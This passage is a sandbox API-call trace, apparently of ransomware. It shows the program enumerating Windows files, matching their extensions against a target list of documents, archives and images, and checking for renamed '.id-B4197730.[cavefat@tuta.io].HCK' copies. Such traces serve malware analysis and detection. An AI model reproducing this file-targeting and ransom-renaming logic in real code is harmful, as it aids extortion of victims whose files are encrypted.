(lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".doc") returned 4 [0224.750] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString=".docx") returned 5 [0224.750] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0224.750] lstrlenW (lpString=".pdf") returned 4 [0224.750] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".xls") returned 4 [0224.750] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".xlsx") returned 5 [0224.750] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0224.750] lstrlenW (lpString=".ppt") returned 4 [0224.750] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".zip") returned 4 [0224.750] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".rar") returned 4 [0224.750] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".bz2") returned 4 [0224.750] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString=".7z") returned 3 [0224.750] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".dbf") returned 4 [0224.750] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".1cd") returned 4 [0224.750] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".jpg") returned 4 [0224.750] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.750] lstrlenW (lpString=".doc") returned 4 [0224.750] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0224.750] lstrlenW (lpString=".docx") returned 5 [0224.750] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0224.750] lstrlenW (lpString=".pdf") returned 4 [0224.750] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".xls") returned 4 [0224.750] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0224.750] lstrlenW (lpString=".xlsx") returned 5 [0224.750] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0224.750] lstrlenW (lpString=".ppt") returned 4 [0224.750] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0224.751] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.751] lstrlenW (lpString=".zip") returned 4 [0224.751] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0224.751] lstrlenW (lpString=".rar") returned 4 [0224.751] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0224.751] lstrlenW (lpString=".bz2") returned 4 [0224.751] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0224.751] lstrlenW (lpString=".7z") returned 3 [0224.751] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0224.751] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.751] lstrlenW (lpString=".dbf") returned 4 [0224.751] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0224.751] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.751] lstrlenW (lpString=".1cd") returned 4 [0224.751] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0224.751] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0224.751] lstrlenW (lpString=".jpg") returned 4 [0224.751] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0224.751] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0224.751] lstrlenW (lpString="Alphabet.xml") returned 12 [0224.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.752] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=791421) returned 1 [0224.752] CloseHandle (hObject=0x3e4) returned 1 [0224.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0224.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString=".doc") returned 4 [0224.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString=".docx") returned 5 [0224.753] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.753] lstrlenW (lpString=".pdf") returned 4 [0224.753] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString=".xls") returned 4 [0224.753] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString=".xlsx") returned 5 [0224.753] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.753] lstrlenW (lpString=".ppt") returned 4 [0224.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString=".zip") returned 4 [0224.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.753] lstrlenW (lpString=".rar") returned 4 [0224.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString=".bz2") returned 4 [0224.753] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString=".7z") returned 3 [0224.753] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString=".dbf") returned 4 [0224.753] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString=".1cd") returned 4 [0224.753] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.753] lstrlenW (lpString=".jpg") returned 4 [0224.753] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString=".doc") returned 4 [0224.754] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString=".docx") returned 5 [0224.754] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.754] lstrlenW (lpString=".pdf") returned 4 [0224.754] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString=".xls") returned 4 [0224.754] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString=".xlsx") returned 5 [0224.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.754] lstrlenW (lpString=".ppt") returned 4 [0224.754] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString=".zip") returned 4 [0224.754] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.754] lstrlenW (lpString=".rar") returned 4 [0224.754] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString=".bz2") returned 4 [0224.754] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString=".7z") returned 3 [0224.754] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString=".dbf") returned 4 [0224.754] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString=".1cd") returned 4 [0224.754] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.754] lstrlenW (lpString=".jpg") returned 4 [0224.754] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.754] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0224.754] lstrlenW (lpString="Content.xml") returned 11 [0224.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.756] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=27045) returned 1 [0224.756] CloseHandle (hObject=0x3e4) returned 1 [0224.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0224.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.756] lstrlenW (lpString=".doc") returned 4 [0224.756] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.756] lstrlenW (lpString=".docx") returned 5 [0224.756] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.757] lstrlenW (lpString=".pdf") returned 4 [0224.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString=".xls") returned 4 [0224.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString=".xlsx") returned 5 [0224.757] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.757] lstrlenW (lpString=".ppt") returned 4 [0224.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString=".zip") returned 4 [0224.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.757] lstrlenW (lpString=".rar") returned 4 [0224.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString=".bz2") returned 4 [0224.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString=".7z") returned 3 [0224.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString=".dbf") returned 4 [0224.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString=".1cd") returned 4 [0224.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString=".jpg") returned 4 [0224.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.757] lstrlenW (lpString=".doc") returned 4 [0224.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.757] lstrlenW (lpString=".docx") returned 5 [0224.757] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.757] lstrlenW (lpString=".pdf") returned 4 [0224.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString=".xls") returned 4 [0224.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString=".xlsx") returned 5 [0224.758] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.758] lstrlenW (lpString=".ppt") returned 4 [0224.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.758] lstrlenW (lpString=".zip") returned 4 [0224.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.758] lstrlenW (lpString=".rar") returned 4 [0224.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString=".bz2") returned 4 [0224.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString=".7z") returned 3 [0224.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.758] lstrlenW (lpString=".dbf") returned 4 [0224.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.758] lstrlenW (lpString=".1cd") returned 4 [0224.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0224.758] lstrlenW (lpString=".jpg") returned 4 [0224.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.758] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.758] lstrlenW (lpString="boxed-correct.avi") returned 17 [0224.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.760] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=111320) returned 1 [0224.761] CloseHandle (hObject=0x3e4) returned 1 [0224.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0224.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.761] lstrlenW (lpString=".doc") returned 4 [0224.761] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.761] lstrlenW (lpString=".docx") returned 5 [0224.761] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.761] lstrlenW (lpString=".pdf") returned 4 [0224.761] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.761] lstrlenW (lpString=".xls") returned 4 [0224.761] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.761] lstrlenW (lpString=".xlsx") returned 5 [0224.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.761] lstrlenW (lpString=".ppt") returned 4 [0224.761] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".zip") returned 4 [0224.762] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".rar") returned 4 [0224.762] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".bz2") returned 4 [0224.762] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".7z") returned 3 [0224.762] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".dbf") returned 4 [0224.762] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".1cd") returned 4 [0224.762] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".jpg") returned 4 [0224.762] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".doc") returned 4 [0224.762] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".docx") returned 5 [0224.762] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.762] lstrlenW (lpString=".pdf") returned 4 [0224.762] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".xls") returned 4 [0224.762] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString=".xlsx") returned 5 [0224.762] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.762] lstrlenW (lpString=".ppt") returned 4 [0224.762] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.762] lstrlenW (lpString=".zip") returned 4 [0224.762] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.763] lstrlenW (lpString=".rar") returned 4 [0224.763] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.763] lstrlenW (lpString=".bz2") returned 4 [0224.763] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.763] lstrlenW (lpString=".7z") returned 3 [0224.763] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.763] lstrlenW (lpString=".dbf") returned 4 [0224.763] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.763] lstrlenW (lpString=".1cd") returned 4 [0224.763] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0224.763] lstrlenW (lpString=".jpg") returned 4 [0224.763] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.763] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.763] lstrlenW (lpString="boxed-delete.avi") returned 16 [0224.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.764] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=48936) returned 1 [0224.764] CloseHandle (hObject=0x3e4) returned 1 [0224.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0224.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.764] lstrlenW (lpString=".doc") returned 4 [0224.764] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.764] lstrlenW (lpString=".docx") returned 5 [0224.764] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.765] lstrlenW (lpString=".pdf") returned 4 [0224.765] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".xls") returned 4 [0224.765] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".xlsx") returned 5 [0224.765] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.765] lstrlenW (lpString=".ppt") returned 4 [0224.765] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString=".zip") returned 4 [0224.765] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".rar") returned 4 [0224.765] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".bz2") returned 4 [0224.765] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".7z") returned 3 [0224.765] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString=".dbf") returned 4 [0224.765] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString=".1cd") returned 4 [0224.765] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString=".jpg") returned 4 [0224.765] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.765] lstrlenW (lpString=".doc") returned 4 [0224.765] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.765] lstrlenW (lpString=".docx") returned 5 [0224.765] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.765] lstrlenW (lpString=".pdf") returned 4 [0224.766] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString=".xls") returned 4 [0224.766] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString=".xlsx") returned 5 [0224.766] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.766] lstrlenW (lpString=".ppt") returned 4 [0224.766] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.766] lstrlenW (lpString=".zip") returned 4 [0224.766] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString=".rar") returned 4 [0224.766] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString=".bz2") returned 4 [0224.766] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 